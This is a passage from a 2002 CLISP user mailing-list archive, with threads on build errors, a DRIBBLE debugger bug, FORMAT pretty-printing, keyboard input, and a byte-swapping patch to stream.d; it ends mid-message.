Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 15:41:06 2002 X-Original-Date: 11 Dec 2002 18:40:24 -0500 > * In message <3DF7B0EE.5010105@gmx.net> > * On the subject of "[clisp-list] debian compiling error" > * Sent on Wed, 11 Dec 2002 22:41:02 +0100 > * Honorable Andrej Bondar writes: > > I hame compiling error in debian what is your debian version? > error message: > in stream.o undefined reference to 'tgogto' tgoto is a part of ncurses. what is your ncurses version? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never trust a man who can count to 1024 on his fingers. From edi@agharta.de Wed Dec 11 16:47:30 2002 Received: from [62.159.208.82] (helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MHVh-0008Jp-00 for ; Wed, 11 Dec 2002 16:47:29 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 212A7260406; Thu, 12 Dec 2002 01:24:00 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: Message-ID: <871y4occf3.fsf@bird.agharta.de> Lines: 60 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 16:48:07 2002 X-Original-Date: 12 Dec 2002 01:24:00 +0100 Sam Steingold writes: > > * In message <874r9xmdj4.fsf@bird.agharta.de> > > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > > * Sent on 02 Dec 2002 02:10:23 +0100 > > * Honorable Edi Weitz writes: > > > > Sam Steingold writes: > > > > > Edi, are you prepared to check out the CVS head and test this > > > change? > > > > Yep, would be OK with me if you allow for short delays (maybe one to > > three days - sometimes I'm quite busy with other things). Let me know > > when there's something to test. > > you had a week to test the patch. > so, any problems so far? I was away for a couple of days but I'm back now. I checked out CLISP from CVS, rebuilt it and tried the example that I sent originally but got the same results: edi@bird:~ > clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /home/edi/.clisp.lisp ... ;; Loading file /usr/local/lisp/defsystem.fas ... ;; Loaded file /usr/local/lisp/defsystem.fas ;; Loaded file /home/edi/.clisp.lisp [1]> (dribble "frob") # [2]> (/ 1 0) *** - division by zero 1. Break [3]> (dribble) # 1. Break [3]> :a *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL 1. Break [5]> Wasn't this supposed to work now? I understand from your explanations that I can manually make a dribble stream and restore it but I somehow thought the behaviour described above would also go away. Cheers, Edi. From jamison@redwood.snu.ac.kr Wed Dec 11 17:19:45 2002 Received: from babywood.snu.ac.kr ([147.46.116.222] helo=woody.snu.ac.kr) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MI0P-0000wx-00 for ; Wed, 11 Dec 2002 17:19:13 -0800 Received: (from jamison@localhost) by woody.snu.ac.kr (8.11.6/8.11.6) id gBC1OcF03496; Thu, 12 Dec 2002 10:24:38 +0900 X-Authentication-Warning: woody.snu.ac.kr: jamison set sender to jamison@redwood.snu.ac.kr using -f From: Jamison Masse To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Message-Id: <1039656278.1668.990.camel@woody.snu.ac.kr> Mime-Version: 1.0 Subject: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 17:20:03 2002 X-Original-Date: 12 Dec 2002 10:24:38 +0900 Hello, There is seems to be a bug in linux clisp (I tried this with WinXP and it seemed to work as I expected) with with-keyboard/keyboard-input. If you run this code the first character typed is ignored, then the second is picked up and the loop terminates. The same behaviour if read-char-no-hang is used instead of the listen/read-char combo. Of course, I expect it to pick up the first character. (setq c nil) (ext:with-keyboard (loop (if (listen ext:*keyboard-input*) (setq c (read-char ext:*keyboard-input*))) (when (not (eq nil c)) (return)))) (print c) I'm running clisp 2.29/Redhat 7.3 From edi@agharta.de Wed Dec 11 17:41:06 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MILU-0005vN-00 for ; Wed, 11 Dec 2002 17:41:00 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 485D1260406; Thu, 12 Dec 2002 02:40:51 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz Message-ID: <87smx4auak.fsf@bird.agharta.de> Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] FORMAT pretty printing directives Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 17:42:05 2002 X-Original-Date: 12 Dec 2002 02:40:51 +0100 In CLISP 2.30 (freshly checked out from CVS): [1]> (defun foo (item list) (format t "~&~A: ~<~^~A~@{~:@_~A~}~:>" item list)) FOO [2]> (foo 'bar (list 3 (make-hash-table) "frob")) BAR: (3 #S(HASH-TABLE EQL) frob) NIL I expected this to look like, say, in CMUCL, * (foo 'bar (list 3 (make-hash-table) "frob")) BAR: 3 # frob NIL i.e. I didn't expect the enclosing parentheses (according to CLHS 22.3.5.2: "If the enclosed portion consists of only a single segment, both the prefix and the suffix default to the null string. If the colon modifier is used (i.e., ~:<...~:>), the prefix and suffix default to "(" and ")" (respectively) instead of the null string.") and I expected the list elements to be on separate lines and aligned (according to CLHS 22.3.5.1: "~:@_ is the same as (pprint-newline :mandatory)."). Are these bugs or am I missing something about how pretty printing is supposed to work (maybe some special variable that has different default settings in CLISP than in CMUCL)? BTW, I just realized that this behaviour may also be explained by CLISP interpreting LIST as one single item instead of consuming each element in turn but that still wouldn't meet my expectations. Thanks, Edi. From sds@gnu.org Wed Dec 11 18:23:24 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MJ0W-000575-00 for ; Wed, 11 Dec 2002 18:23:24 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021212022317.KZZK4606.out001.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 20:23:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBC2NN9O006952; Wed, 11 Dec 2002 21:23:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBC2NMae006948; Wed, 11 Dec 2002 21:23:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> <871y4occf3.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <871y4occf3.fsf@bird.agharta.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 20:23:17 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 18:24:05 2002 X-Original-Date: 11 Dec 2002 21:23:22 -0500 > * In message <871y4occf3.fsf@bird.agharta.de> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > * Sent on 12 Dec 2002 01:24:00 +0100 > * Honorable Edi Weitz writes: > > Sam Steingold writes: > > you had a week to test the patch. > > so, any problems so far? > > I was away for a couple of days but I'm back now. I checked out CLISP > from CVS, rebuilt it and tried the example that I sent originally but > got the same results: I sent a patch to the list. did you apply it? the patch was against the release, not the CVS. if you prefer, you can update cvs now and try again. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Wed Dec 11 18:33:00 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MJ9o-0006gN-00 for ; Wed, 11 Dec 2002 18:33:00 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021212023253.VION1532.pop017.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 20:32:53 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBC2Wx9O006973; Wed, 11 Dec 2002 21:32:59 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBC2WxBQ006969; Wed, 11 Dec 2002 21:32:59 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FORMAT pretty printing directives References: <87smx4auak.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87smx4auak.fsf@bird.agharta.de> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 20:32:53 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 18:33:03 2002 X-Original-Date: 11 Dec 2002 21:32:59 -0500 > * In message <87smx4auak.fsf@bird.agharta.de> > * On the subject of "[clisp-list] FORMAT pretty printing directives" > * Sent on 12 Dec 2002 02:40:51 +0100 > * Honorable Edi Weitz writes: > > In CLISP 2.30 (freshly checked out from CVS): format / pprint in known to be "incomplete" (buggy). would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 12 02:01:37 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MQ9v-0000tF-00 for ; Thu, 12 Dec 2002 02:01:35 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 12 Dec 2002 10:59:53 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Dec 2002 10:59:52 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE8A9F82@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Unicode question MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 02:02:02 2002 X-Original-Date: Thu, 12 Dec 2002 10:59:45 +0100 Keith, >> Unix, clisp has no problems with it. You have a screenshot at >> http://www.haible.de/bruno/fibjap-xterm.gif >> http://www.haible.de/bruno/fibjap-emacs.gif >OK. Clearly it is a Windows-only problem. Any thoughts on the >modifications required to make it work on Windows? Try to make it work in Emacs and have Emacs deal with lots of fonts? At least Emacs opens its own window and doesn't not run in a DOS-terminal. But I have no experience with multi-language Emacs, the MULE etc. Regards, Jorg Hohle. From edi@agharta.de Thu Dec 12 02:47:45 2002 Received: from [62.159.208.82] (helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MQsZ-0001PE-00 for ; Thu, 12 Dec 2002 02:47:44 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id E6D9C260406; Thu, 12 Dec 2002 11:47:18 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> <871y4occf3.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: Message-ID: <87k7ifbjk9.fsf@bird.agharta.de> Lines: 56 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 02:48:05 2002 X-Original-Date: 12 Dec 2002 11:47:18 +0100 Sam Steingold writes: > > * In message <871y4occf3.fsf@bird.agharta.de> > > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > > * Sent on 12 Dec 2002 01:24:00 +0100 > > * Honorable Edi Weitz writes: > > > > Sam Steingold writes: > > > you had a week to test the patch. > > > so, any problems so far? > > > > I was away for a couple of days but I'm back now. I checked out CLISP > > from CVS, rebuilt it and tried the example that I sent originally but > > got the same results: > > I sent a patch to the list. > did you apply it? > the patch was against the release, not the CVS. No, sorry, my bad. > if you prefer, you can update cvs now and try again. OK, just did 'cvs update' and rebuilt. But it's still as before: edi@bird:~ > clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /home/edi/.clisp.lisp ... ;; Loading file /usr/local/lisp/defsystem.fas ... ;; Loaded file /usr/local/lisp/defsystem.fas ;; Loaded file /home/edi/.clisp.lisp [1]> (dribble "frob") # [2]> (/ 1 0) *** - division by zero 1. Break [3]> (dribble) # 1. Break [3]> :a *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL 1. Break [5]> From edi@agharta.de Thu Dec 12 03:07:59 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MRC5-0005MU-00 for ; Thu, 12 Dec 2002 03:07:53 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 21E69260406; Thu, 12 Dec 2002 12:07:45 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FORMAT pretty printing directives References: <87smx4auak.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: Message-ID: <87fzt3bim6.fsf@bird.agharta.de> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 03:08:09 2002 X-Original-Date: 12 Dec 2002 12:07:45 +0100 Sam Steingold writes: > > * In message <87smx4auak.fsf@bird.agharta.de> > > * On the subject of "[clisp-list] FORMAT pretty printing directives" > > * Sent on 12 Dec 2002 02:40:51 +0100 > > * Honorable Edi Weitz writes: > > > > In CLISP 2.30 (freshly checked out from CVS): > > format / pprint in known to be "incomplete" (buggy). > would you like to work on this? Hmm, the question isn't really whether I would _like_ to do it but whether I _can_ do it. I wouldn't consider myself to be a proficient Lisp coder and I have no idea whatsoever about the CLISP internals. Apart from that it's always a matter of finding the spare time and having different priorities. I mainly work with CMUCL and LispWorks and usually only invoke CLISP and other CL implementations to make sure my programs are portable. Cheers, Edi. From Bernard.Urban@meteo.fr Thu Dec 12 04:27:25 2002 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MSQz-000246-00 for ; Thu, 12 Dec 2002 04:27:22 -0800 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id MAA14950; Thu, 12 Dec 2002 12:27:02 GMT To: clisp-list@lists.sourceforge.net From: Bernard Urban Message-ID: <87vg1zifse.fsf@merceron.meteo.fr> Lines: 52 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Subject: [clisp-list] read-integer, read-float, write-integer and write-float bug + more Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 04:28:02 2002 X-Original-Date: 12 Dec 2002 13:26:57 +0100 --=-=-= The subject says it all. It is for clisp-2.30. Consider reading with (read-float ... 'double-float :big) the following IEEE coding of 1.0d0 in big-endian (as used in XDR representation): 3f f0 00 00 00 00 00 00 There is an underflow exception raised. The culprit is elt_nreverse() in stream.d for byte swapping, which does not work as intented. Same is true for the other ones of the family: read-integer, write-integer and write-float. In clisp-2.27, the call for elt_nreverse() was specific code. It works ok. Here is a patch to restore the old code: --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=patch --- clisp-2.30.orig/src/stream.d +++ clisp-2.30/src/stream.d @@ -16924,8 +16924,20 @@ if (!(read_byte_array(&STACK_5,&STACK_0,0,bytesize) == bytesize)) goto eof; bitbuffer = STACK_0; - if (endianness) # Byte-Swap the data. - elt_nreverse(bitbuffer,0,bytesize); + if (endianness) { + # Byte-Swap the data. + var uintL count = floor(bytesize,2); + if (count > 0) { + var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0]; + var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1]; + dotimespL(count,count, { + var uintB x1 = *ptr1; + var uintB x2 = *ptr2; + *ptr1 = x2; *ptr2 = x1; + ptr1++; ptr2--; + }); + } + } { # The data is now in little-endian order. Convert it to an integer. var object result; switch (eltype.kind) { @@ -16973,8 +16985,20 @@ if (!(read_byte_array(&STACK_5,&STACK_0,0,bytesize) == bytesize)) goto eof; bitbuffer = STACK_0; - if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data. - elt_nreverse(bitbuffer,0,bytesize); + if (BIG_ENDIAN_P ? !endianness : endianness) { + # Byte-Swap the data. + var uintL count = floor(bytesize,2); + if (count > 0) { + var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0]; + var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1]; + dotimespL(count,count, { + var uintB x1 = *ptr1; + var uintB x2 = *ptr2; + *ptr1 = x2; *ptr2 = x1; + ptr1++; ptr2--; + }); + } + } # The data is now in machine-dependent order. Convert it to a float. switch (bytesize) { case sizeof(ffloatjanus): @@ -17058,8 +17082,20 @@ default: NOTREACHED; } # The data is now in little-endian order. - if (endianness) # Byte-Swap the data. - elt_nreverse(bitbuffer,0,bytesize); + if (endianness) { + # Byte-Swap the data. + var uintL count = floor(bytesize,2); + if (count > 0) { + var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0]; + var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1]; + dotimespL(count,count, { + var uintB x1 = *ptr1; + var uintB x2 = *ptr2; + *ptr1 = x2; *ptr2 = x1; + ptr1++; ptr2--; + }); + } + } # Write the data. write_byte_array(&STACK_3,&STACK_0,0,bytesize); FREE_DYNAMIC_BIT_VECTOR(STACK_0); @@ -17129,8 +17165,20 @@ default: NOTREACHED; } # The data is now in machine-dependent order. - if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data. - elt_nreverse(bitbuffer,0,bytesize); + if (BIG_ENDIAN_P ? !endianness : endianness) { + # Byte-Swap the data. + var uintL count = floor(bytesize,2); + if (count > 0) { + var uintB* ptr1 = &TheSbvector(bitbuffer)->data[0]; + var uintB* ptr2 = &TheSbvector(bitbuffer)->data[bytesize-1]; + dotimespL(count,count, { + var uintB x1 = *ptr1; + var uintB x2 = *ptr2; + *ptr1 = x2; *ptr2 = x1; + ptr1++; ptr2--; + }); + } + } # Write the data. write_byte_array(&STACK_3,&STACK_0,0,bytesize); FREE_DYNAMIC_BIT_VECTOR(STACK_0); --=-=-= I insist on not using elt_nreverse(), which has the bad effect of beeing very costly (on files of 1Mb size full of double-float, the additional time cost is about 30% compared to the 2.27 version). ======================================== My second remark is about the impossibility to have a localized clisp-2.30 version by using the standard INSTALL instructions. The key to obtain such a version is to compile with -DENABLE_NLS, which seems not be controllable from the configure options. Here is a simple patch: --- clisp-2.30.orig/src/makemake.in +++ clisp-2.30/src/makemake.in @@ -1296,6 +1296,7 @@ if [ "${with_gettext}" = "0" ]; then XCFLAGS=$XCFLAGS' -DNO_GETTEXT' else + XCFLAGS=$XCFLAGS' -DENABLE_NLS' if [ @USE_NLS@ = yes ] ; then USE_GETTEXT=yes LIBS='@LIBINTL@ '$LIBS but the maintainers can probably do better. In particular, the debian clisp-2.30 in unstable does not have this patch and hence is not localized. Regards. -- Bernard Urban --=-=-=-- From sds@gnu.org Thu Dec 12 06:40:54 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MUWE-00018f-00 for ; Thu, 12 Dec 2002 06:40:54 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021212144048.TJLO4645.out004.verizon.net@loiso.podval.org>; Thu, 12 Dec 2002 08:40:48 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBCEf19O008676; Thu, 12 Dec 2002 09:41:01 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBCEf0hY008672; Thu, 12 Dec 2002 09:41:00 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> <871y4occf3.fsf@bird.agharta.de> <87k7ifbjk9.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87k7ifbjk9.fsf@bird.agharta.de> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.32.163] at Thu, 12 Dec 2002 08:40:47 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 06:41:04 2002 X-Original-Date: 12 Dec 2002 09:41:00 -0500 > * In message <87k7ifbjk9.fsf@bird.agharta.de> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > * Sent on 12 Dec 2002 11:47:18 +0100 > * Honorable Edi Weitz writes: > > Sam Steingold writes: > > if you prefer, you can update cvs now and try again. > > OK, just did 'cvs update' and rebuilt. But it's still as before: check that you have no sticky tags. remove your build directory and reconfigure. > *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL there is no such symbol in the CVS head CLISP. [2]> (dribble "frob") # [3]> (/ 0) *** - division by zero 1. Break [4]> (dribble) # 1. Break [4]> [5]> -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Save your burned out bulbs for me, I'm building my own dark room. From toy@rtp.ericsson.se Thu Dec 12 06:50:33 2002 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MUfZ-0002sz-00 for ; Thu, 12 Dec 2002 06:50:33 -0800 Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id gBCEoVd05045 for ; Thu, 12 Dec 2002 08:50:31 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id gBCEoVj06130 for ; Thu, 12 Dec 2002 08:50:31 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YD97BW1T; Thu, 12 Dec 2002 08:50:31 -0600 Received: from b2b7_hp5.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.207]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA19853 for ; Thu, 12 Dec 2002 09:50:31 -0500 (EST) Received: (from toy@localhost) by b2b7_hp5.rtp.ericsson.se (8.10.2+Sun/8.9.3) id gBCEoUq07763; Thu, 12 Dec 2002 09:50:30 -0500 (EST) X-Authentication-Warning: b2b7_hp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] macrolet walker? References: <4nznrck141.fsf@rtp.ericsson.se> <4nvg20jt0q.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nznrbi955.fsf@rtp.ericsson.se> Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 06:51:02 2002 X-Original-Date: 12 Dec 2002 09:50:30 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> (let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil)) Sam> (sys::%expand-form '(macrolet ((bar 